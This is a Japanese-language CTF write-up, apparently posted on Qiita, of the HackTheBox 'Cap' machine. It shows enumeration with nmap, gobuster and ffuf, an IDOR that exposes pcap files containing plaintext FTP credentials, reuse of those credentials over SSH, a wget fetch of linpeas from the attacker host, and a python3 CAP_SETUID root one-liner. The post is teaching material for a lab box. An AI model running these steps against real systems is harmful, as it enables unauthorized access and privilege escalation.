1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Cap Writeup(日本語)

Posted at

はじめに

こんにちは、一般大学院生です。
この記事は、HackTheBoxのEasyマシン、「Cap」の日本語Writeupです。

ポートスキャン

nmapを使ってポートスキャンを行います。

┌──(kali㉿kali)-[~]
└─$ nmap 10.10.10.245 -p- -sC -sV --min-rate 2000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-20 21:37 PDT
Nmap scan report for cap.htb (10.10.10.245)
Host is up (0.19s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Sun, 21 Sep 2025 04:38:43 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sun, 21 Sep 2025 04:38:37 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sun, 21 Sep 2025 04:38:37 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, OPTIONS, HEAD
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94SVN%I=7%D=9/20%Time=68CF814D%P=aarch64-unknown-linux-g
SF:nu%r(GetRequest,3012,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\n
SF:Date:\x20Sun,\x2021\x20Sep\x202025\x2004:38:37\x20GMT\r\nConnection:\x2
SF:0close\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Lengt
SF:h:\x2019386\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=\"no-js\"\x20lang
SF:=\"en\">\n\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x
SF:20\x20\x20<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\
SF:">\n\x20\x20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20\
SF:x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initi
SF:al-scale=1\">\n\x20\x20\x20\x20<link\x20rel=\"shortcut\x20icon\"\x20typ
SF:e=\"image/png\"\x20href=\"/static/images/icon/favicon\.ico\">\n\x20\x20
SF:\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/bootstrap\.mi
SF:n\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/stati
SF:c/css/font-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesh
SF:eet\"\x20href=\"/static/css/themify-icons\.css\">\n\x20\x20\x20\x20<lin
SF:k\x20rel=\"stylesheet\"\x20href=\"/static/css/metisMenu\.css\">\n\x20\x
SF:20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/owl\.carous
SF:el\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"
SF:/static/css/slicknav\.min\.css\">\n\x20\x20\x20\x20<!--\x20amchar")%r(H
SF:TTPOptions,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x
SF:20Sun,\x2021\x20Sep\x202025\x2004:38:37\x20GMT\r\nConnection:\x20close\
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20GET,\x20OP
SF:TIONS,\x20HEAD\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HTT
SF:P/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Type
SF::\x20text/html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>\
SF:n\x20\x20\x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\x
SF:20<body>\n\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20\
SF:x20Invalid\x20HTTP\x20Version\x20&#x27;Invalid\x20HTTP\x20Version:\x20&
SF:#x27;RTSP/1\.0&#x27;&#x27;\n\x20\x20</body>\n</html>\n")%r(FourOhFourRe
SF:quest,189,"HTTP/1\.0\x20404\x20NOT\x20FOUND\r\nServer:\x20gunicorn\r\nD
SF:ate:\x20Sun,\x2021\x20Sep\x202025\x2004:38:43\x20GMT\r\nConnection:\x20
SF:close\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
SF::\x20232\r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x2
SF:03\.2\x20Final//EN\">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20F
SF:ound</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20t
SF:he\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20ple
SF:ase\x20check\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 173.70 seconds

21,22,80番ポートが空いていますね。

User Flag

80番ポートにブラウザでアクセスすると、以下のようなダッシュボードが表示されます。

スクリーンショット 2025-09-21 13.48.12.png

gobusterでディレクトリの列挙を行います。

┌──(kali㉿kali)-[~]
└─$ sudo gobuster dir -u http://cap.htb/ -w /usr/share/wordlists/dirb/common.txt                                                  
[sudo] password for kali: 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cap.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/data                 (Status: 302) [Size: 208] [--> http://cap.htb/]
/ip                   (Status: 200) [Size: 17452]
/netstat              (Status: 200) [Size: 28442]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

メニューのSecurity Snapshotで、http://cap.htb/data/1にアクセスできます。

スクリーンショット 2025-09-21 13.56.56.png

同様に、/2にもアクセスできることから、/data/[数字]で管理しているようです。

0から10000までの数字が書かれたファイルを作成し、ffufを使ってスキャンします。

$ seq 0 10000 > numbers.txt
┌──(kali㉿kali)-[~/htb/cap]
└─$ ffuf -w numbers.txt -u http://cap.htb/data/FUZZ -mc 200    

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cap.htb/data/FUZZ
 :: Wordlist         : FUZZ: /home/kali/htb/cap/numbers.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

2                       [Status: 200, Size: 17144, Words: 7066, Lines: 371, Duration: 204ms]
1                       [Status: 200, Size: 17147, Words: 7066, Lines: 371, Duration: 211ms]
0                       [Status: 200, Size: 17147, Words: 7066, Lines: 371, Duration: 216ms]
:: Progress: [10001/10001] :: Job [1/1] :: 209 req/sec :: Duration: [0:00:49] :: Errors: 0 ::

0,1,2にアクセスできます。それぞれ.pcapファイルをダウンロードできるので、0番のpcapファイルをWiresharkで見てみます。

スクリーンショット 2025-09-21 14.40.35.png

HTTPとFTPの通信です。HTTPの方は特に目立ったパケットがなかったのですが、FTPをTCP Streamで確認したところ、認証パケットが平文で流れていました。

スクリーンショット 2025-09-21 14.43.55.png

USER nathan, PASS Buck3tH4TF0RM3!

これを使ってFTPにログインします。

┌──(kali㉿kali)-[~/htb/cap]
└─$ ftp 10.10.10.245                                       
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:kali): nathan
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||60199|)
150 Here comes the directory listing.
-r--------    1 1001     1001           33 Sep 21 03:43 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||39856|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |***************************************************************************************************************************************|    33      236.95 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.15 KiB/s)
ftp>

user.txtがそのまま置いてありました。

Root Flag

FTP内でsshの認証情報や鍵がないか探索を行いましたが、見つかりませんでした。
もしかして...?と思って、FTPのログインで使った認証情報をそのままsshのログインに使ってみたところ、成功しました。(パスワードの使い回しは良くない!)

ターゲットマシン内で

$ sudo -l
$ find / -type f -perm -04000 -ls 2>/dev/null

を実行しましたが、使えそうなものはありませんでした。

攻撃環境からlinpeasを持ってきて実行します。

$ wget http://10.10.14.9:8888/linpeas.sh 
$ ./linpeas.sh

出力結果が長いのですが、python3にCAP_SETUIDのCapabilityが付与されていました。

スクリーンショット 2025-09-21 16.05.26.png

Capabilityはrootユーザが持つ権限を細かく分割し、特定のプロセスや実行ファイルに付与する仕組みです。CAP_SETUIDはプロセスのUIDを変更できます。

GTFOBinsで検索すると、CAP_SETUIDが付与されたpython3を使った権限昇格が載っています。
https://gtfobins.github.io/gtfobins/python/

サイトに載っている通りに、以下のコマンドで権限昇格できました。
UID=0(root)を設定してから/bin/shを呼び出すプログラムみたいですね。

nathan@cap:~$ python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
# cat /root/root.txt
9f[Redacted]18

ツールやコマンドの使い方をおさらい出来る良いマシンでした!

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?